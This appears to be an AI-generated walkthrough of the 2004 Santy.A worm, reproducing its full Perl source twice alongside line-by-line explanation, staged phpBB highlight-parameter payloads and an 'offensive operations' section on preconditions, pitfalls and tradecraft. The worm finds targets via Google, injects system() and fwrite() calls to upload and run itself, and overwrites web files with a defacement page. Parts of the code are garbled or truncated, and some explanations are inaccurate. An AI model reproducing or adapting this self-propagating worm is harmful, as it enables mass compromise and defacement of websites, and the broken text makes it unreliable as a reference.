Santy.A Worm: Exploiting phpBB Arbitrary File Upload Vulnerability

Here's a breakdown of the Santy.A worm exploit paper for your team.
Santy.A Worm: Exploiting phpBB Arbitrary File Upload Vulnerability
What this paper is
This paper details the source code of the Santy.A worm, a self-propagating malicious script that targeted older versions of phpBB (versions 2.0.10 and below). The worm exploited a vulnerability in the highlight parameter of phpBB to upload and execute arbitrary PHP code, ultimately defacing websites and spreading itself to other vulnerable phpBB installations.
Simple technical breakdown
The Santy.A worm is a Perl script that works in several stages:
- Self-Replication and Initialization: It first tries to create a copy of itself to ensure it can spread. It also checks a "generation" counter to manage its spread.
- Reconnaissance (Google Search): It uses Google to find potential targets. It searches for phpBB
viewtopic.phppages, assuming these are likely to be on a vulnerable phpBB forum. - Vulnerability Exploitation (Arbitrary File Upload): For each found target, it crafts a URL that exploits a vulnerability in the
highlightparameter. This parameter, when improperly handled, allows the worm to inject and execute commands. - Code Injection and Execution: The worm injects small pieces of Perl code that, when executed by the web server, create a temporary file containing more Perl code. This temporary file is then executed.
- Payload Delivery (Defacement): The executed Perl code then searches for HTML, PHP, ASP, SHTML, JSP, or PHTML files on the compromised server and overwrites them with a defacement message.
- Worm Propagation: The worm attempts to upload its own source code to the compromised server, making it a new target for other instances of the worm.
Complete code and payload walkthrough
Let's break down the Perl script section by section.
#!/usr/bin/perl
use strict;
use Socket;
sub PayLoad();
sub DoDir($);
sub DoFile ($);
sub GoGoogle();
sub GrabURL($);
sub str2chr($);
eval{ fork and exit; };
my $generation = x;
PayLoad() if $generation > 3;#!/usr/bin/perl: Shebang line, indicating the script should be executed by the Perl interpreter.use strict;: Enforces stricter parsing rules, helping to catch common programming errors.use Socket;: Imports theSocketmodule, which provides functions for network programming (like creating sockets, connecting, etc.).sub PayLoad(); sub DoDir($); sub DoFile ($); sub GoGoogle(); sub GrabURL($); sub str2chr($);: Declarations of subroutines (functions) used in the script.eval{ fork and exit; };: This is a common technique to ensure only one instance of the script runs at a time on a given machine.forkcreates a child process. Ifforkis successful (returns a non-zero value for the parent), the parent exits. Ifforkfails or the child process is running, theevalblock continues. This is a simple form of process management.my $generation = x;: This line is problematic.xis not a valid Perl literal for a number. It's likely intended to bemy $generation = 0;or some other initial value. As written, it would cause a syntax error. Assuming it's meant to be an initial value, let's proceed with the logic.PayLoad() if $generation > 3;: If the$generationvariable is greater than 3, it calls thePayLoadsubroutine. This suggests a mechanism to limit the worm's activity or spread based on its "generation" or how many times it has replicated.
open IN, $0 or exit;
my $self = join '', <IN>;
close IN;
unlink $0;open IN, $0 or exit;: Opens the current script file ($0is the path to the current script) for reading. If it fails, the script exits.my $self = join '', <IN>;: Reads the entire content of the script file into the$selfvariable. This is the worm copying itself.close IN;: Closes the file handle.unlink $0;: Deletes the original copy of the script file. This is a self-erasing mechanism.
while(!GrabURL('http://www.google.com/advanced_search')) {
if($generation > 3)
{
PayLoad() ;
} else {
exit;
}
}while(!GrabURL('http://www.google.com/advanced_search')) { ... }: This loop repeatedly tries to fetch the Google advanced search page. The worm needs to confirm it can reach the internet, specifically Google, to start its search for targets.if($generation > 3) { PayLoad() ; } else { exit; }: If fetching Google fails and the$generationis greater than 3, it callsPayLoad(). Otherwise, it exits. This implies that if it can't reach Google, it might try to spread locally (viaPayLoad) or give up.
$self =~ s/my \$generation = (\d+);/'my $generation = ' . ($1 + 1) . ';'/e;
my $selfFileName = 'm1ho2of';
my $markStr = 'HYv9po4z3jjHWanN';
my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"';
my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';$self =~ s/my \$generation = (\d+);/'my $generation = ' . ($1 + 1) . ';'/e;: This is a crucial self-modification step. It finds the line$generation = X;in its own source code ($self) and replaces it with$generation = X+1;. This increments the generation counter for future copies of itself. Theeflag at the end allows the replacement part to be evaluated as Perl code.my $selfFileName = 'm1ho2of';: Defines a filename for a temporary file the worm will create on the target.my $markStr = 'HYv9po4z3jjHWanN';: A unique string used to verify if the temporary file was created successfully.my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"';: Constructs a Perl command. This command, when executed on the target, will open a file named$selfFileNamein append mode (>) and write the$markStrinto it. Theq()is a quoting mechanism in Perl.my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';: This is the core of the exploit payload. It's a URL-encoded string designed to be appended to a phpBB URL.%2527: URL-encoded single quote (').%252E: URL-encoded dot (.).system(...): A PHP function that executes a command.str2chr($perlOpen): This calls thestr2chrfunction (explained later) to convert the$perlOpenstring into a sequence ofchr()calls, which are then URL-encoded. This is done to bypass potential filters that might block direct execution of commands. The goal is to get the web server to executesystem('perl -e "open OUT,q(>m1ho2of) and print q(HYv9po4z3jjHWanN)"').
while(1) {
exit if -e 'stop.it';
OUTER: for my $url (GoGoogle()) {
exit if -e 'stop.it';
$url =~ s/&highlight=.*$//;
$url .= $tryCode;
my $r = GrabURL($url);
next unless defined $r;
next unless $r =~ /$markStr/;
while($self =~ /(.{1,20})/gs) {
my $portion = '&highlight=%2527%252Efwrite(fopen(' . str2chr($selfFileName) . ',' . str2chr('a') . '),
' . str2chr($1) . '),exit%252e%2527';
$url =~ s/&highlight=.*$//;
$url .= $portion;
next OUTER unless GrabURL($url);
}
my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName) . ')%252e%2527';
$url =~ s/&highlight=.*$//;
$url .= $syst;
GrabURL($url);
}
}while(1) { ... }: An infinite loop, the main execution loop of the worm.exit if -e 'stop.it';: Checks for the existence of a file namedstop.it. If found, the worm terminates. This is a simple kill switch.OUTER: for my $url (GoGoogle()) { ... }: Iterates through URLs found by theGoGooglefunction. TheOUTER:label is used fornext OUTER.$url =~ s/&highlight=.*$//; $url .= $tryCode;: Removes any existinghighlightparameter from the URL and appends the initial exploit code ($tryCode).my $r = GrabURL($url);: Sends the crafted URL to the target server using theGrabURLfunction.next unless defined $r; next unless $r =~ /$markStr/;: Checks if the response was received (defined $r) and if it contains the$markStr. This verifies if the initial file creation command (perl -e "open OUT,q(>m1ho2of) and print q(HYv9po4z3jjHWanN)") was successful. If not, it skips to the next URL.while($self =~ /(.{1,20})/gs) { ... }: This loop iterates through the worm's own source code ($self), splitting it into chunks of 1 to 20 characters.my $portion = '&highlight=%2527%252Efwrite(fopen(' . str2chr($selfFileName) . ',' . str2chr('a') . '), ' . str2chr($1) . '),exit%252e%2527';: Constructs another exploit payload. This one usesfwriteto write a chunk ($1) of the worm's source code into the$selfFileNamefile (opened in append mode'a').fopenandfwriteare PHP functions. Theexitis to ensure the request finishes.$url =~ s/&highlight=.*$//; $url .= $portion;: Appends this chunk-writing payload to the URL.next OUTER unless GrabURL($url);: Sends the URL to the target. If the request fails, it skips to the next URL in theOUTERloop. This means it's trying to write the worm's code to the target file, piece by piece.my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName) . ')%252e%2527';: Constructs the final exploit payload. This one usessystem()to execute the Perl interpreter on the target, running the script that was just written to$selfFileName.$url =~ s/&highlight=.*$//; $url .= $syst; GrabURL($url);: Appends the execution payload to the URL and sends it. This triggers the execution of the uploaded worm code on the target server.
sub str2chr($) {
my $s = shift;
$s =~ s/(.)/'chr(' . ord($1) . ')%252e'/seg;
$s =~ s/%252e$//;
return $s;
}sub str2chr($): This function takes a string and converts it into a series of URL-encodedchr()calls.$s =~ s/(.)/'chr(' . ord($1) . ')%252e'/seg;: For each character (.) in the input string$s, it replaces it withchr(ORD_VALUE)%252e.ord($1)gets the ASCII value of the character.%252eis the URL encoding for a dot (.). This is a way to obfuscate strings and bypass filters that might look for literal command strings. For example, "perl" becomeschr(112)%252eperl%252echr(108)%252e.$s =~ s/%252e$//;: Removes the trailing%252efrom the last character'schr()call.return $s;: Returns the obfuscated string.
sub GoGoogle() {
my @urls;
my @ts = qw/t p topic/;
my $startURL = 'http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all' . '&
q=allinurl%3A+%22viewtopic.php%22+%22' . $ts[int(rand(@ts))] . '%3D' . int(rand(30000)) .
'%22&btnG=Search';
my $goo1st = GrabURL($startURL)
fined $goo1st;
my $allGoo = $goo1st;
my $r = '<td><a href=(/search\?q=.+?)' . '><img src=/nav_page\.gif width=16 height=26
alt="" border=0><br>\d+</a>';
while($goo1st =~ m#$r#g) {
$allGoo . = GrabURL('www.google.com' . $1);
}
while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {
my $u = $1;
next if $u =~ m#http://.*http://#i; # no redirects
push(@urls, $u);
}
return @urls;
}sub GoGoogle(): This function searches Google for vulnerable phpBB instances.my @ts = qw/t p topic/;: An array of common phpBB URL parameters (t,p,topic).my $startURL = 'http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all' . '& q=allinurl%3A+%22viewtopic.php%22+%22' . $ts[int(rand(@ts))] . '%3D' . int(rand(30000)) . '%22&btnG=Search';: Constructs a Google search query.num=100: Requests 100 results per page.allinurl: "viewtopic.php": Searches for URLs containingviewtopic.php."...": Searches for a parameter liket=RANDOM_NUMBER,p=RANDOM_NUMBER, ortopic=RANDOM_NUMBER, whereRANDOM_NUMBERis a random integer up to 30000. This is a heuristic to find active phpBB forums.
my $goo1st = GrabURL($startURL): Fetches the first page of Google search results.my $r = '<td><a href=(/search\?q=.+?)><img src=/nav_page\.gif width=16 height=26 alt="" border=0><br>\d+</a>';: A regex to find links to the next page of Google search results (indicated by thenav_page.gifimage).while($goo1st =~ m#$r#g) { $allGoo .= GrabURL('www.google.com' . $1); }: If pagination links are found, it fetches those pages as well to gather more search results.while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g): Parses all fetched pages to extract URLs that containhttp://andviewtopic.php.next if $u =~ m#http://.*http://#i; # no redirects: Skips URLs that appear to be redirects to avoid processing them incorrectly.push(@urls, $u);: Adds the foundviewtopic.phpURL to the@urlsarray.return @urls;: Returns the list of potential target URLs.
sub GrabURL($) {
my $url = shift;
$url =~ s#^http://##i;
my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
return unless defined($host) && defined($res);
my $r =
"GET $resHTTP/1.0\015\012" .
"Host: $host\015\012" .
"Accept:*/*\015\012" .
"Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
"Pragma: no-cache\015\012" .
"Cache-Control: no-cache\015\012" .
"Referer: http://" . $host . $res . "\015\012" .
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" .
"Connection: close\015\012\015\012";
my $port = 80;
if($host =~ /(.*):(\d+)$/){ $host = $1; $port = $2;}
my $internet_addr = inet_aton($host) or return;
socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;
setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);
connect(Server, sockaddr_in($port, $internet_addr)) or return;
select((select(Server), $| = 1)[0]);
print Server $r;
my $answer = join '', <Server>;
close (Server);
return $answer;
}sub GrabURL($): This function performs a raw HTTP GET request to a given URL.$url =~ s#^http://##i;: Removes thehttp://prefix from the URL.my ($host, $res) = $url =~ m#^(.+?)(/.*)#;: Splits the URL into the hostname ($host) and the resource path ($res).my $r = ...: Constructs the raw HTTP GET request string.GET $resHTTP/1.0: Standard HTTP GET request line. Note:$resHTTPis undefined and likely a typo. It should probably be$res.Host: $host: TheHostheader is required for virtual hosting.Accept,Accept-Language,Pragma,Cache-Control: Standard HTTP headers.Referer: Set to the URL being requested, which can sometimes be used by web applications.User-Agent: Mimics a common Windows MSIE browser.Connection: close: Tells the server to close the connection after the response.\015\012: Carriage return and line feed (CRLF), used to terminate HTTP headers.
my $port = 80; if($host =~ /(.*):(\d+)$/){ $host = $1; $port = $2;}: Handles URLs with custom ports (e.g.,example.com:8080).my $internet_addr = inet_aton($host) or return;: Resolves the hostname to an IP address.socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;: Creates a TCP socket.setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);: Sets a timeout of 10 seconds for receiving data.connect(Server, sockaddr_in($port, $internet_addr)) or return;: Connects to the target server on the specified port.select((select(Server), $| = 1)[0]);: Sets the socket to autoflush, ensuring data is sent immediately.print Server $r;: Sends the HTTP request.my $answer = join '', <Server>;: Reads the entire response from the server.close (Server);: Closes the socket.return $answer;: Returns the server's response.
sub DoFile($) {
my $s = q{
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD><TITLE>This site is defaced!!!</TITLE></HEAD>
<BODY bgcolor="#000000" text="#FF0000">
<H1>This site is defaced!!!</H1>
<HR><ADDRESS><b>NeverEverNoSanity WebWorm generation }
. $generation .q{.</b></ADDRESS>
</BODY></HTML>
};
unlink $_[0];
open OUT, ">$_[0]" or return;
print OUT $s;
close OUT;
}sub DoFile($): This subroutine is responsible for defacing a file.my $s = q{ ... } . $generation . q{.};: Defines the HTML content for the defacement page. It includes the current worm generation number.q{...}is a quoting mechanism.unlink $_[0];: Deletes the target file if it exists.open OUT, ">$_[0]" or return;: Opens the target file for writing (overwriting).print OUT $s;: Writes the defacement HTML to the file.close OUT;: Closes the file.
sub DoDir($) {
my $dir = $_[0];
$dir .= '/' unless $dir =~ m#/$#;
local *DIR;
opendir DIR, $dir or return;
for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) {
unless(-l $dir . $ent) {
if(-d _) {
DoDir($dir . $ent);
next;
}
}
if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i or $ent =~ /\.jsp/i
or $ent =~ /\.phtm/i) {
DoFile($dir . $ent);
}
}
closedir DIR;
}sub DoDir($): This subroutine recursively traverses directories and defaces files.my $dir = $_[0]; $dir .= '/' unless $dir =~ m#/$#;: Ensures the directory path ends with a slash.opendir DIR, $dir or return;: Opens the directory for reading.for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR): Iterates through each entry in the directory, excluding.and...unless(-l $dir . $ent) { if(-d _) { DoDir($dir . $ent); next; } }: Checks if the entry is a symbolic link (-l). If it's not a link and is a directory (-d), it recursively callsDoDiron that subdirectory.if($ent =~ /\.htm/i or ... or $ent =~ /\.phtm/i) { DoFile($dir . $ent); }: If the entry's name matches common web file extensions (HTML, PHP, ASP, etc.), it callsDoFileto deface it.closedir DIR;: Closes the directory handle.
sub PayLoad() {
my @dirs;
eval{
while(my @a = getpwent()) { push(@dirs, $a[7]);}
};
push(@dirs, '/ ');
for my $l ('A' .. 'Z') {
push(@d
}
for my $d (@dirs) {
DoDir($d);
}
}
# milw0rm.com [2004-12-22]sub PayLoad(): This subroutine is intended to be the primary payload execution, likely for defacement and spreading.my @dirs; eval{ while(my @a = getpwent()) { push(@dirs, $a[7]);} };: Attempts to get a list of home directories for users on the system usinggetpwent(). This is a common technique to find potential web root directories. Theevalblock is used to catch potential errors ifgetpwent()is not available or fails.push(@dirs, '/ ');: Adds the root directory to the list of directories to scan.for my $l ('A' .. 'Z') { push(@d ... }: This loop is incomplete. It seems intended to iterate through drive letters (likeC:\,D:\on Windows) or mount points, but the actualpushoperation is cut off. This section is not fully functional as presented.for my $d (@dirs) { DoDir($d); }: Iterates through the collected directories and callsDoDiron each to start the defacement process.
Code Fragment/Block -> Practical Purpose Mapping
eval{ fork and exit; };-> Process uniqueness: Prevents multiple instances of the worm from running on the same machine.my $self = join '', <IN>;-> Self-copying: Reads the worm's own source code for replication and modification.$self =~ s/my \$generation = (\d+);/'my $generation = ' . ($1 + 1) . ';'/e;-> Generation increment: Updates the worm's generation counter for future copies.my $selfFileName = 'm1ho2of';-> Temporary file name: Defines a name for a file to be created on the target.my $markStr = 'HYv9po4z3jjHWanN';-> Verification string: Used to confirm successful file creation.my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"';-> Initial command construction: Creates a Perl command to write the$markStrto$selfFileName.my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';-> Exploit payload (initial): URL-encoded string to inject and execute the Perl command for file creation.while(1) { ... }-> Main loop: Continuously searches for and attacks targets.exit if -e 'stop.it';-> Kill switch: Allows manual termination of the worm.GoGoogle()-> Target discovery: Finds vulnerable phpBB URLs by searching Google.$url =~ s/&highlight=.*$//; $url .= $tryCode;-> Applying initial exploit: Prepares the target URL for the first stage of the attack.GrabURL($url)-> HTTP request: Sends the crafted URL to the target server.next unless $r =~ /$markStr/;-> Verification: Checks if the initial file creation was successful.while($self =~ /(.{1,20})/gs) { ... }-> Code chunking: Divides the worm's source code into small pieces.my $portion = '&highlight=%2527%252Efwrite(fopen(' . str2chr($selfFileName) . ',' . str2chr('a') . '), ' . str2chr($1) . '),exit%252e%2527';-> Exploit payload (chunk writing): URL-encoded string to append chunks of the worm's code to the temporary file.my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName) . ')%252e%2527';-> Exploit payload (execution): URL-encoded string to execute the complete worm code from the temporary file.str2chr($s)-> Obfuscation: Converts strings into URL-encodedchr()calls to bypass filters.DoFile($file)-> Defacement: Overwrites a target file with a defacement message.DoDir($dir)-> Recursive defacement: Traverses directories and defaces matching files.PayLoad()-> Primary payload execution: Initiates defacement and potentially local spreading (though incomplete in the provided code).
Shellcode/Payload Segments
The "shellcode" here isn't traditional machine code but rather a series of crafted HTTP requests that leverage PHP's system() and fwrite() functions through a vulnerable highlight parameter.
Stage 1: Initial File Creation
- Payload:
&highlight=%2527%252Esystem(str2chr('perl -e "open OUT,q(>m1ho2of) and print q(HYv9po4z3jjHWanN)"'))%252e%2527 - Purpose: This payload is sent to a vulnerable phpBB URL. The web server executes the
system()call, which in turn runs a Perl one-liner. This Perl one-liner opens a file namedm1ho2ofin write mode and writes the stringHYv9po4z3jjHWanNinto it. This is the first step to establish a file on the target. Thestr2chrfunction is used to obfuscate the Perl command.
Stage 2: Appending Worm Code Chunks
- Payload:
&highlight=%2527%252Efwrite(fopen(str2chr('m1ho2of'),str2chr('a')), str2chr('CHUNK_OF_WORM_CODE'))%252e%2527(repeated for each chunk) - Purpose: After confirming the initial file creation, the worm sends subsequent payloads. Each payload uses
fwrite()to append a small chunk of its own source code to them1ho2offile. Thefopen()with mode'a'ensures the code is appended. This process continues until the entire worm source code is written tom1ho2of.
Stage 3: Executing the Worm Code
- Payload:
&highlight=%2527%252Esystem(str2chr('perl m1ho2of'))%252e%2527 - Purpose: Once the
m1ho2offile contains the complete worm code, this final payload is sent. It usessystem()to execute the Perl interpreter on the target, running them1ho2ofscript. This effectively executes the worm on the compromised server, starting its defacement and propagation routines.
Practical details for offensive operations teams
- Required Access Level: This exploit targets web applications. Therefore, the initial access required is the ability to send HTTP requests to a vulnerable phpBB installation. No local system access is needed for the initial exploit.
- Lab Preconditions:
- A vulnerable phpBB instance (version <= 2.0.10) accessible via HTTP/HTTPS.
- A web server environment that allows PHP execution and file writing in the webroot or accessible directories.
- The target server must have Perl installed and accessible in the system's PATH for the worm to execute itself.
- Network connectivity from the attacker's machine to the target web server.
- Google search must be accessible from the attacker's IP (or the worm's execution environment if it's already on a compromised machine).
- Tooling Assumptions:
- The exploit is written in Perl, so a Perl interpreter is required to run the worm script itself.
- Basic network tools for sending HTTP requests are implicitly used by
GrabURL. - The
GoGooglefunction relies on Google's search engine.
- Execution Pitfalls:
- Google Blocking: Google might block IPs making too many automated requests, hindering target discovery.
- WAF/IDS Evasion: Modern Web Application Firewalls (WAFs) and Intrusion Detection Systems (IDS) are highly likely to detect the URL patterns and encoded payloads used by this worm. The obfuscation (
str2chr) is rudimentary by today's standards. - PHP Configuration:
disable_functionsinphp.inicould preventsystem()orfwrite()from executing. - File Permissions: If the web server process lacks write permissions in the target directory, the exploit will fail.
- Perl Interpreter: If Perl is not installed or not in the PATH on the target server, the uploaded worm code cannot be executed.
- URL Length Limits: Very long URLs can be truncated by web servers or proxies, potentially breaking the exploit.
- Vulnerability Patching: The primary vulnerability in
highlightis long fixed. $generation = x;: As noted, the initialmy $generation = x;line is syntactically incorrect in Perl and would prevent the script from running as-is. It would need to be corrected tomy $generation = 0;or similar.- Incomplete
PayLoadfunction: The loopfor my $l ('A' .. 'Z') { push(@dis incomplete and would cause a syntax error.
- Tradecraft Considerations:
- Stealth: This worm is not stealthy. It uses public search engines and obvious exploit patterns. It's designed for rapid, widespread infection rather than covert operations.
- Reconnaissance: The
GoGooglefunction is a form of automated reconnaissance. For authorized operations, this would be replaced with more targeted scanning and vulnerability assessment. - Payload Delivery: The method of uploading and executing code is a classic web shell/worm technique.
- Kill Switch: The
stop.itfile is a simple but effective kill switch for manual control.
Where this was used and when
- Context: The Santy.A worm was a widespread internet worm that emerged in late 2004.
- Target: It specifically targeted phpBB versions 2.0.10 and earlier, exploiting a vulnerability in the
highlightparameter. - Impact: It caused significant defacements of websites running vulnerable phpBB forums and was responsible for a large number of infections. The F-Secure and SANS ISC links in the paper's comments confirm its real-world impact and detection around December 2004.
Defensive lessons for modern teams
- Patch Management: The most critical lesson is the importance of timely patching. phpBB 2.0.10 was released in 2003, and this vulnerability was known and patched. Running outdated software is a major risk.
- Input Validation: Web application developers must rigorously validate and sanitize all user-supplied input. The
highlightparameter was not properly handled, allowing arbitrary code execution. - Least Privilege: Web server processes should run with the minimum necessary privileges. This would limit the damage even if an exploit succeeds (e.g., preventing access to user home directories or system binaries).
- Web Application Firewalls (WAFs): WAFs can detect and block common exploit patterns, including the URL encoding and function calls used here. However, they are not foolproof and can be bypassed by more sophisticated attacks.
- Intrusion Detection/Prevention Systems (IDS/IPS): Network-level IDS/IPS can identify malicious traffic patterns.
- File Integrity Monitoring (FIM): Monitoring web directories for unexpected file modifications or creations can alert administrators to defacement or malware uploads.
- Secure Coding Practices: Developers should be trained in secure coding principles to avoid common vulnerabilities like SQL injection, XSS, and arbitrary file upload/execution.
- Regular Auditing: Periodically auditing web server configurations, installed software versions, and file permissions is essential.
ASCII visual (if applicable)
This exploit involves a chain of HTTP requests and remote code execution. A simplified flow can be visualized:
+-----------------+ +-----------------+ +-----------------+
| Attacker's | | Vulnerable | | Target Server |
| Perl Script |----->| phpBB Instance |----->| (Web Server) |
+-----------------+ +-----------------+ +-----------------+
| |
| 1. Google Search (Finds targets) |
| (GoGoogle) |
| |
| 2. Craft & Send Exploit URL (Initial) |
| (GrabURL, $tryCode) |
| e.g., ...&highlight=' . system('perl -e "open OUT,q(>m1ho2of) and print q(HYv9po4z3jjHWanN)"') . ' |
| |
| 3. Verify File Creation (Check for $markStr) |
| |
| 4. Craft & Send Exploit URLs (Chunk Writing) |
| (GrabURL, $portion) |
| e.g., ...&highlight=' . fwrite(fopen('m1ho2of','a'), 'CHUNK') . ' |
| (Repeated for all code chunks) |
| |
| 5. Craft & Send Exploit URL (Execution) |
| (GrabURL, $syst) |
| e.g., ...&highlight=' . system('perl m1ho2of') . ' |
| |
| |-----> 6. Execute Worm Code (on target)
| | (Deface files, propagate)
| | (DoFile, DoDir, PayLoad)
| |
+-------------------------------------------------+Explanation:
- The attacker's Perl script uses Google to find vulnerable phpBB sites.
- It crafts an HTTP request to a target URL, injecting code into the
highlightparameter that uses PHP'ssystem()to run a Perl command. - This Perl command creates a file (
m1ho2of) and writes a marker string to it. The attacker checks the HTTP response for this marker to confirm success. - The attacker then sends multiple requests, each appending a chunk of the worm's source code to
m1ho2ofusing PHP'sfwrite()andfopen(). - Finally, another
system()call is made to execute the completem1ho2ofscript using Perl. - The executed worm code then runs on the target server, performing its defacement and self-propagation actions.
Source references
- Exploit-DB Paper: https://www.exploit-db.com/papers/702
- Original Source Code: Included within the Exploit-DB paper.
- Related Information:
Original Exploit-DB Content (Verbatim)
#
# Santy.A - phpBB <= 2.0.10 Web Worm Source Code (Proof of Concept)
# -SECU For educational purpose
#
# See : http://isc.sans.org/diary.php?date=2004-12-21
# http://www.f-secure.com/v-descs/santy_a.shtml
#
#!/usr/bin/perl
use
strict;
use Socket;
sub PayLoad();
sub DoDir($);
sub DoFile ($);
sub GoGoogle();
sub GrabURL($);
sub str2chr($);
eval{ fork and exit; };
my $generation = x;
PayLoad() if $generation > 3;
open IN, $0 or exit;
my $self = join '', <IN>;
close IN;
unlink $0;
while(!GrabURL('http://www.google.com/advanced_search')) {
if($generation > 3)
{
PayLoad() ;
} else {
exit;
}
}
$self =~ s/my \$generation = (\d+);/'my $generation = ' . ($1 + 1) . ';'/e;
my $selfFileName = 'm1ho2of';
my $markStr = 'HYv9po4z3jjHWanN';
my $perlOpen = 'perl -e "open OUT,q(>' . $selfFileName . ') and print q(' . $markStr . ')"';
my $tryCode = '&highlight=%2527%252Esystem(' . str2chr($perlOpen) . ')%252e%2527';
while(1) {
exit if -e 'stop.it';
OUTER: for my $url (GoGoogle()) {
exit if -e 'stop.it';
$url =~ s/&highlight=.*$//;
$url .= $tryCode;
my $r = GrabURL($url);
next unless defined $r;
next unless $r =~ /$markStr/;
while($self =~ /(.{1,20})/gs) {
my $portion = '&highlight=%2527%252Efwrite(fopen(' . str2chr($selfFileName) . ',' . str2chr('a') . '),
' . str2chr($1) . '),exit%252e%2527';
$url =~ s/&highlight=.*$//;
$url .= $portion;
next OUTER unless GrabURL($url);
}
my $syst = '&highlight=%2527%252Esystem(' . str2chr('perl ' . $selfFileName) . ')%252e%2527';
$url =~ s/&highlight=.*$//;
$url .= $syst;
GrabURL($url);
}
}
sub str2chr($) {
my $s = shift;
$s =~ s/(.)/'chr(' . or d($1) . ')%252e'/seg;
$s =~ s/%252e$//;
return $s;
}
sub GoGoogle() {
my @urls;
my @ts = qw/t p topic/;
my $startURL = 'http://www.google.com/search?num=100&hl=en&lr=&as_qdr=all' . '&
q=allinurl%3A+%22viewtopic.php%22+%22' . $ts[int(rand(@ts))] . '%3D' . int(rand(30000)) .
'%22&btnG=Search';
my $goo1st = GrabURL($startURL)
fined $goo1st;
my $allGoo = $goo1st;
my $r = '<td><a href=(/search\?q=.+?)' . '><img src=/nav_page\.gif width=16 height=26
alt="" border=0><br>\d+</a>';
while($goo1st =~ m#$r#g) {
$allGoo . = GrabURL('www.google.com' . $1);
}
while($allGoo =~ m#href=(http://\S+viewtopic.php\S+)#g) {
my $u = $1;
next if $u =~ m#http://.*http://#i; # no redirects
push(@urls, $u);
}
return @urls;
}
sub GrabURL($) {
my $url = shift;
$url =~ s#^http://##i;
my ($host, $res) = $url =~ m#^(.+?)(/.*)#;
return unless defined($host) && defined($res);
my $r =
"GET $resHTTP/1.0\015\012" .
"Host: $host\015\012" .
"Accept:*/*\015\012" .
"Accept-Language: en-us,en-gb;q=0.7,en;q=0.3\015\012" .
"Pragma: no-cache\015\012" .
"Cache-Control: no-cache\015\012" .
"Referer: http://" . $host . $res . "\015\012" .
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\015\012" .
"Connection: close\015\012\015\012";
my $port = 80;
if($host =~ /(.*):(\d+)$/){ $host = $1; $port = $2;}
my $internet_addr = inet_aton($host) or return;
socket(Server, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return;
setsockopt(Server, SOL_SOCKET, SO_RCVTIMEO, 10000);
connect(Server, sockaddr_in($port, $internet_addr)) or return;
select((select(Server), $| = 1)[0]);
print Server $r;
my $answer = join '', <Server>;
close (Server);
return $answer;
}
sub DoFile($) {
my $s = q{
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD><TITLE>This site is defaced!!!</TITLE></HEAD>
<BODY bgcolor="#000000" text="#FF0000">
<H1>This site is defaced!!!</H1>
<HR><ADDRESS><b>NeverEverNoSanity WebWorm generation }
. $generation .q{.</b></ADDRESS>
</BODY></HTML>
};
unlink $_[0];
open OUT, ">$_[0]" or return;
print OUT $s;
close OUT;
}
sub DoDir($) {
my $dir = $_[0];
$dir .= '/' unless $dir =~ m#/$#;
local *DIR;
opendir DIR, $dir or return;
for my $ent (grep { $_ ne '.' and $_ ne '..' } readdir DIR) {
unless(-l $dir . $ent) {
if(-d _) {
DoDir($dir . $ent);
next;
}
}
if($ent =~ /\.htm/i or $ent =~ /\.php/i or $ent =~ /\.asp/i or $ent =~ /\.shtm/i or $ent =~ /\.jsp/i
or $ent =~ /\.phtm/i) {
DoFile($dir . $ent);
}
}
closedir DIR;
}
sub Pay Load() {
my @dirs;
eval{
while(my @a = getpwent()) { push(@dirs, $a[7]);}
};
push(@dirs, '/ ');
for my $l ('A' .. 'Z') {
push(@d
for my $d (@dirs) {
DoDir($d);
}
}
# milw0rm.com [2004-12-22]